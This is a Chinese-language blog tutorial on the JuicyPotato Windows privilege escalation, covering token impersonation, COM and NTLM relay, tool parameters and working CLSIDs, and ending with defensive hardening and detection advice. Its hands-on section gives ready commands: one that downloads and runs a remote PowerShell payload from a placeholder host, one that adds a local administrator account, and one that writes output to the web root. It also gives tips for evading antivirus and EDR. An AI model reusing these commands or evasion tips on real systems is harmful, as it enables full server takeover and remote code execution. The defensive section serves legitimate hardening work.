ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

烂土豆JuicyPotato提权详解:从Windows令牌机制到实战利用

烂土豆JuicyPotato提权详解:从Windows令牌机制到实战利用 在Windows环境做渗透测试或红队评估的兄弟大概率都听过“烂土豆”这个名字。它在提权圈的地位基本等同于Linux下的内核漏洞利用——属于拿到一个WebShell或服务权限之后最优先考虑的几个提权手段之一。JuicyPotato烂土豆不是什么新玩意但它背后的思路、适用的场景、以及踩坑的细节很多人在实操中仍然是一知半解。我见过不少人在IIS进程权限下直接双击运行JuicyPotato.exe结果被系统弹了一脸错误然后就开始怀疑工具是不是被杀软吃了。其实不是工具的问题是没搞清楚它到底在干什么。这篇文章我准备把这颗“烂土豆”从土壤到餐桌整个拆开来讲。包括它依赖的Windows令牌机制、COM对象与NTLM重放这条利用链路的完整原理、具体的利用参数怎么选、以及我自己实测中遇到的那些奇奇怪怪的坑。更重要的是我想把为什么要这样利用、为什么能成功这个逻辑讲透因为只有理解了原理你在不同版本的Windows上才能随机应变。这篇文章适合谁看搞渗透测试的、做红队评估的、以及负责Windows服务器加固的安全运维。如果你是新手我建议先把令牌、模拟级别这几个基础概念搞清楚再往下读。1. 为什么“土豆能提权”先搞懂Windows令牌和模拟权限很多人只知道输入一条命令就能获得SYSTEM权限但说不出个所以然。想真正用好烂土豆第一个绕不开的概念就是Windows的访问令牌Access Token。1.1 令牌到底是什么东西在Windows系统里令牌就像是你进入一个大型企业大厦的门禁卡。卡面上记录着你是谁用户SID、属于哪个部门组SID、能去哪些楼层权限Privileges、以及当前以什么身份在活动。每次你运行一个进程系统都会给这个进程分配一份令牌副本进程内所有线程访问资源时系统就靠这份令牌来判断允许还是拒绝。令牌分两种主令牌Primary Token和模拟令牌Impersonation Token。主令牌描述进程本身的安全身份模拟令牌则允许线程临时“借用”其他用户的身份去执行操作。这就像你进入大厦后前台给你一张临时访客卡你可以用这张卡去某些楼层但身份始终还是访客而不是正式员工。模拟令牌就是这张“临时访客卡”它关联的模拟级别Impersonation Level决定了你能借用到什么程度。1.2 SeImpersonatePrivilege打开特权之门的钥匙模拟级别不是所有人都能随意使用的。Windows系统里有一个专门的特权叫做SeImpersonatePrivilege中文叫“身份模拟特权”。拥有这个特权的进程才允许以某个用户的身份创建或模拟线程。这个特权通常赋予给管理员组、服务账户如IIS AppPool、MSSQL的服务账户以及一些网络服务账户。换句话说你在渗透测试中打下来的IIS WebShell、MSSQL的xp_cmdshell、或者某个Windows服务所拥有的权限往往天然就带着这把钥匙。烂土豆的整个利用过程前提就是你当前用户拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege之一的特权。这里插一句为什么运维侧经常说“服务账户要在独立的低权限账号下运行”就是因为这类账户一旦被攻破如果还保留着SeImpersonatePrivilege攻击者拿到shell后简直等于在墙上看到了一个敞开的保险柜。烂土豆本质上就是把保险柜里值钱的东西取出来的一个工具。权限项含义是否满足JuicyPotato利用条件SeImpersonatePrivilege允许进程模拟其他用户身份必须至少有一个SeAssignPrimaryTokenPrivilege允许分配主令牌给进程必须至少有一个SeBackupPrivilege允许备份文件和目录非必须SeDebugPrivilege允许调试其他进程非必须所以在你尝试烂土豆提权之前第一件事就是在当前Shell里执行一次权限检查。我下面会讲具体的命令和判断方法这里先把原理的底子打好。1.3 为什么账户拿到了SYSTEM令牌之后进程就变成了SYSTEM烂土豆的妙处在于它不只是简单地把一个高权限令牌“复制一份”给你用而是通过一系列操作让系统自己把SYSTEM令牌交出来然后利用SeImpersonatePrivilege“模拟”这个令牌。模拟令牌不像伪造令牌Token Duplication那样需要额外的SeDebugPrivilege去复制别人的令牌它只需要你在拥有模拟特权的前提下合法地“承接”系统给你递过来的令牌。我用一个不恰当的类比来解释这相当于你去ATM机取钱取钱的前提是你得有卡有密码低权限账户和特权。但ATM机背后有一个专门负责搬运钞票的机器人SYSTEM权限的服务烂土豆诱导这个机器人把满满一箱钱送到你面前你只需要拥有“接受付款”的资格SeImpersonatePrivilege就能把这箱钱收进自己口袋里。2. 从Rotten到Juicy土豆家族的前世今生JuicyPotato并不是凭空冒出来的。了解它的演变过程能帮你理解为什么它有那么多参数需要调以及为什么到了Windows 10新版本上经常失灵。2.1 Rotten Potato原始思路BITS服务和NTLM重放的结合最早的Potato提权思路来自2016年安全研究员breenmachine的一篇文章。他发现Windows的BITS后台智能传输服务在实例化COM对象时会以当前登录用户或服务账户的身份进行NTLM认证而这个NTLM认证请求可以被截获并重放到本地另一个高权限服务上。如果把认证重放到一个拥有SYSTEM权限的服务系统就会在一个特定的命名管道上返回一份SYSTEM令牌。攻击者利用SeImpersonatePrivilege模拟这个SYSTEM令牌就能以一个高权限身份执行任意命令。这个思路的关键在于两个组件COM对象Windows里一种进程间通信的组件机制JuicyPotato通过调用指定的COM对象来触发一次“合法的”身份认证流程。NTLM重放安全协议中的一个经典弱点把认证请求转发到另一个服务让目标服务误以为请求来自合法的更高权限身份。Rotten Potato的原版利用工具使用起来比较死板它默认的COM对象CLSID和触发方式是写死的在很多实际环境中并不适配。毕竟不同版本的Windows操作系统COM对象列表和对应权限是有差异的。2.2 JuicyPotato的出现把写死的路径变成可配置的乐高积木JuicyPotato是后续安全研究者对Rotten Potato思路的完整实现和增强。它把利用链路中用到的COM对象CLSID、本地监听端口、要启动的命令行、令牌模拟方式等全部做成了可配置参数。这样攻击者就可以根据目标系统的版本和现有的服务环境选定一个能用的CLSID来触发NTLM重放。它和原版最大的区别在于“灵活”二字。你可以先用测试参数找出目标系统上可用的CLSID再拿这个CLSID去执行真正的提权命令。实战中很多情况下默认的CLSID也能打通但遇到Windows Server 2016或2019的某些特定版本就需要微调了。2.3 为什么后续又出现了PrintSpoofer和RoguePotato有心的读者可能会问既然烂土豆这么好用为什么后来又有新的土豆工具冒出来答案很简单微软在逐渐修复这条利用链路。JuicyPotato的核心路径依赖特定的COM对象和BITS服务的行为在Windows Server 2019和Windows 10 1809之后的版本上很多CLSID触发方式已经无法获得高权限令牌。于是有了PrintSpoofer利用打印机的SpoolSample思路、RoguePotato基于原版的变体等新工具。PrintSpoofer的核心思路和烂土豆不太一样它是通过打印服务的一个安全缺陷使打印服务自己以SYSTEM身份连接到你控制的命名管道从而获得SYSTEM令牌。但PrintSpoofer也有它自己的利用前提和限制两者在实际中经常互为替代品。所以如果你在2024年之后的Windows Server 2022上测试烂土豆大概率会碰壁。这时候不要死磕换个思路用PrintSpoofer等工具去试才是高效的做法。我在后面讲排查思路时也会提到这一点。3. JuicyPotato完整利用链路每一步背后的真实工作原理现在进入硬核部分。我从一个具体的利用场景出发把JuicyPotato从运行到获取SYSTEM Shell的每一步拆开解释每条命令、每个参数背后的原理。这样你就算换一个版本的系统也能知道该在哪里做调整。3.1 前置条件检查确认当前权限我一般习惯拿到Shell后先执行以下命令whoami /priv输出里如果看到SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege后面标注“已启用”那就说明烂土豆有机会发挥作用。注意有时候特权状态显示为“已禁用”也没关系因为Windows在向服务账户授予模拟令牌时会自动启用这两个特权JuicyPotato在运行时也可以让它自己重新启用。whoami /all这条命令能看到你当前用户的完整SID和组关系让你确认自己是不是在IIS AppPool或某个服务账户下。如果当前权限是nt authority\system那还提什么权直接登录域管吧。3.2 触发NTLM认证请求COM对象的奥妙JuicyPotato执行时首先会做一件事实例化一个COM对象。它通过-c参数指定CLSID类的唯一标识符。在Windows注册表里每一个CLSID对应一个已注册的COM类类名和功能各异。JuicyPotato的关键是找到那个在实例化过程中会进行NTLM身份认证、且认证请求能够被“引导”到本地指定端口的CLSID。整个步骤可以这样理解JuicyPotato在本地监听一个指定端口用-l参数设置。它调用指定的COM对象触发一次身份认证请求。该认证请求被JuicyPotato截获并被重放到目标本地服务上这个服务通常以SYSTEM权限运行且监听着某个命名管道或端口。高权限服务响应认证返回一个SYSTEM令牌。JuicyPotato利用自身的SeImpersonatePrivilege模拟这个SYSTEM令牌启动你指定的恶意命令或Payload用-p参数指定。熟悉渗透的朋友会发现这本质上就是一次“本地NTLM中间人(relay)攻击”。它并没有绕过什么认证机制而是巧妙地将系统合法的Token传递机制为己所用。3.3 BITS服务为什么是关键一环JuicyPotato最初的原理里提到BITS服务就是因为BITS服务本身设计上就允许通过COM接口进行身份认证。在Potato系列利用中BITS服务提供了一个稳定的NTLM认证源而且BITS服务本身运行在SYSTEM权限下认证过程中产生的令牌具有较高权限。JuicyPotato在调用BITS相关CLSID时如果目标系统尚未修补相关行为就能稳定地拿到一个SYSTEM令牌。但需要注意的是BITS服务并不是唯一的触发源其他以SYSTEM权限运行且具备NTLM服务能力的服务同样可以作为重放目标。这也是为什么JuicyPotato有时候在MSSQL环境下也能奏效的原因——MSSQL服务通常以高权限运行它的命名管道或服务端点可以被用来完成NTLM重放。3.4 令牌模拟与命令执行最后的临门一脚当SYSTEM令牌成功返回给JuicyPotato后它面临一个选择用什么方式来使用这个令牌JuicyPotato提供了-t参数来控制CreateProcessWithToken还是CreateProcessAsUser方式常见值有*根据情况自动选择和t直接使用模拟令牌方式。这里不用太纠结实战中直接-t *即可它会自动判断令牌类型并选择最合适的进程启动方式。随后-p参数指定的程序路径比如你要反弹的exe、或者cmd.exe -c whoami result.txt就会以SYSTEM身份运行。至此提权完成。这条链路看起来顺畅但你运行时会发现结果并不总是尽如人意。我就遇到过CLSID报错、进程卡死、命令没有回显等多个问题这些放在后面专门讲。4. 实操步骤从检查权限到成功获取SYSTEM权限讲完原理就该“抄作业”了。我以常见的Windows Server 2016环境 IIS WebShell为例走一遍完整的JuicyPotato提权实操流程。4.1 第一步上传并检测可用CLSID先在目标机器上上传JuicyPotato.exe。然后执行测试命令JuicyPotato.exe -l 1337 -p cmd.exe -t * -z-z参数的意思是只测试当前CLSID是否能完成触发而不真正启动payload。执行后如果看到[] Tested CLSID success之类的字样说明利用环境OK。如果你想列出目标机器上所有可用的CLSID可以用-k参数JuicyPotato.exe -k-k会把所有可尝试的CLSID跑一遍标注哪些成功、哪些失败。这个步骤比较浪费时间但遇到复杂环境时非常有用。4.2 第二步利用默认CLSID执行命令测试通过后把-z参数去掉真正执行恶意载荷。假设我要弹出一个SYSTEM权限的cmd窗口并把结果写入文件JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a /c whoami C:\Windows\Temp\result.txt -t * -c {F87B28F1-DA9A-4F35-8EC2-4EF3218A51A7}注意-c参数指定的是CLSID。上面这个{F87B28F1-DA9A-4F35-8EC2-4EF3218A51A7}是Windows Server 2016上常用的一组CLSID之一。如果你不确定目标系统默认的CLSID是什么可以直接查看JuicyPotato的项目页文档里面列出了不同版本系统对应的CLSID列表。执行后去检查C:\Windows\Temp\result.txt里的内容如果看到nt authority\system恭喜提权成功。如果文件不存在说明命令没执行成功进入下一步排查。4.3 第三步无回显环境下的验证手法WebShell环境下不像本机打开终端那样直观很多朋友在这里卡住。我平时惯用的方法是让命令执行结果写入一个可回显的目录比如Web根目录下JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a /c whoami C:\inetpub\wwwroot\shell.txt -t * -c {F87B28F1-DA9A-4F35-8EC2-4EF3218A51A7}然后直接用浏览器访问http://目标IP/shell.txt就能看到结果。这个方法在WebShell环境下比单纯查看服务器日志要快得多也是我最常用的验证方式。4.4 第四步获取反向Shell或添加用户命令执行验证成功之后自然就要做更有价值的事情。两种常见思路反弹Shell用-a参数指定PowerShell命令或Cobalt Strike生成的PayloadJuicyPotato.exe -l 1337 -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a -nop -w hidden -c \IEX(New-Object Net.WebClient).DownloadString(http://x/load.ps1)\ -t * -c {F87B28F1-DA9A-4F35-8EC2-4EF3218A51A7}添加管理员用户比较容易被杀软发现仅推荐在实验室环境测试JuicyPotato.exe -l 1337 -p C:\Windows\System32\net.exe -a localgroup administrators pwned /add -t * -c {F87B28F1-DA9A-4F35-8EC2-4EF3218A51A7}我个人不太推荐在真实攻防环境中直接添加用户因为EDR和杀软对这种操作盯得很紧不如一个干净的内存Payload来得实在。5. 实战中的坑CLSID选择、杀软拦截与版本兼容问题我也曾经在几台机器上翻车JuicyPotato明明执行成功了却没有拿到SYSTEM令牌。后来反复对比才发现不是工具的问题而是环境差异。这里把我踩过的坑总结一遍希望你能绕过。5.1 CLSID不对应导致“CLSID Exception”或进程崩溃JuicyPotato的-c参数决定了它使用哪个COM对象。不同Windows版本上COM对象的可用性差异很大。Windows Server 2012上能用的CLSID放到Windows Server 2019上可能直接抛异常。我实测中常用的几组CLSID适用场景CLSID备注Windows Server 2016{F87B28F1-DA9A-4F35-8EC2-4EF3218A51A7}常用且成功率较高Windows Server 2012 R2{F87B28F1-DA9A-4F35-8EC2-4EF3218A51A7}基本通用某些Windows 10版本{e60687f7-01a1-40aa-86ac-6129234622a1}需要实测BITS服务相关{4991d34b-80a1-4291-83b6-3328366b9097}原版BITS相关遇到过报错的朋友可以尝试逐一更换CLSID。如果换了一圈都不行建议直接用-k参数跑一次完整枚举让工具自己找到可用的那个。5.2 杀毒软件和EDR的拦截策略JuicyPotato在杀软眼里属于“黑客工具”类型名字基本进了特征库。很多杀软会在文件落地时就干掉它。我的经验是对Payload做免杀处理或者在目标上通过内存方式加载避免直接落地exe文件。把JuicyPotato改个名字、打包加壳不一定能绕过行为检测因为它的行为特征是调用COM对象CreateProcessWithTokenEDR完全可以靠行为规则识别。在真实攻防中我更推荐先尝试白名单机制比如利用系统自带的工具如msbuild.exe来加载JuicyPotato脚本形式而不是直接运行二进制文件。5.3 Windows系统版本更新导致的“失效”微软在Windows 10 1809及Server 2019之后做了一些安全修复包括限制了一些COM对象在特定条件下的实例化以及加强了对NTLM重放的防护。这使得JuicyPotato在这些新系统上的成功率明显下降。我在Server 2022上测试基本全军覆没。此时就该及时转向PrintSpoofer或者RoguePotato。RoguePotato对Potato家族的思路做了一些改进它不再依赖BITS服务而是通过其他方式触发NTLM重放对新版本的兼容性相对好一些。PrintSpoofer更高效但利用前提是当前用户同样要有SeImpersonatePrivilege。所以你没白学原理是共通的。5.4 命令执行无回显和“卡死”现象很多情况下JuicyPotato执行后屏幕上没有任何输出或者提示CreateProcessWithToken failed并不一定代表提权失败。我遇到过一种情况命令行已经被SYSTEM权限创建但被重定向到了非交互桌面所以你看不到窗口。这时候用前面讲的“写文件到Web目录”法来验证是最稳妥的。卡死的原因则多半是当前用户权限不足或者CLSID触发时目标服务没有任何响应。建议先杀掉进程、确认目标服务例如BITS服务是启动状态再重试。6. 如何检测和防御站在防守方的视角看烂土豆理解了烂土豆的原理防守方其实也有清晰的拦截点。这里分享几个我在做加固方案时常用的思路。6.1 收敛服务账户的特权JuicyPotato能成功的前提是当前用户拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege。很多应用服务IIS、MSSQL默认就给服务账户授予了这些权限但在实际业务中并不一定真的需要。运维侧可以仔细核对每个服务账户的特权列表把不必要的模拟特权移除。提示在Windows服务属性中通过“登录”选项卡设置服务账户然后使用secpol.msc调整用户权限分配。找到“身份模拟客户端”和“替换进程级令牌”两项确保只有真正需要的账户才在里面。6.2 启用Windows Defender Credential Guard和NTLM防护NTLM重放是JuicyPotato链路的关键一环。Windows自带的安全机制可以削弱这类攻击启用NTLM Auditing并逐步过渡到NTLM Blocking策略通过组策略中“网络安全: 限制NTLM: 传出NTLM通信量到远程服务器”来限制不必要的NTLM认证。开启Credential Guard隔离LSASS进程降低令牌被窃取的风险。但要注意这些策略不能随便在企业环境拍脑袋启用否则会导致大量旧协议无法工作。建议先置于审计模式观察一段时间再逐步收紧。6.3 行为监控和日志审计的关键点从蓝队视角看烂土豆的执行会有几个明显的异常特征一个非SYSTEM进程频繁调用ImpersonateNamedPipeClient或CreateProcessWithTokenAPI且子进程路径可疑。一个进程同时绑定本地监听端口并连接同一台机器的另一个端口本地NTLM重放痕迹。事件日志中出现大量COM对象实例化记录和令牌操作记录。可以重点监控Sysmon的Event ID 1进程创建、Event ID 8CreateRemoteThread、以及Windows安全日志中的4624/4625登录事件。如果发现cmd.exe、powershell.exe等是作为某个服务账户的“模拟令牌”子进程出现的第一时间就要标记为可疑。我身边有朋友在EDR里专门针对JuicyPotato.exe的名字和命令行中的-l -p -c参数组合写了告警规则虽然会被攻击者绕过但至少能挡住一批脚本小子。更高阶的做法是监控COM对象实例化时的父进程关系阻断异常的子进程启动路径。7. 写在最后的调试心得PowerShell版本、杀软、目标系统补丁情况都会影响结果。如果你在实战中实在调不通别急着放弃按这个顺序排查一遍先确认特权是否具备whoami /priv再确认CLSID是否匹配系统版本最后检查通讯端口是否被占用。90%的问题都出在这三样上。另外JuicyPotato执行时尽量使用绝对路径的cmd.exe或powershell.exe避免环境变量导致的路径劫持——这既是提高成功率的小技巧也是防止被蓝队分析时增加迷惑性的手段。理解原理之后你会发现所谓提权很多时候并不是在“绕过”什么高深莫测的机制而是精准地利用了系统设计时留下的信任边界。守住服务账户的令牌也就守住了这类攻击最深的命门。
返回列表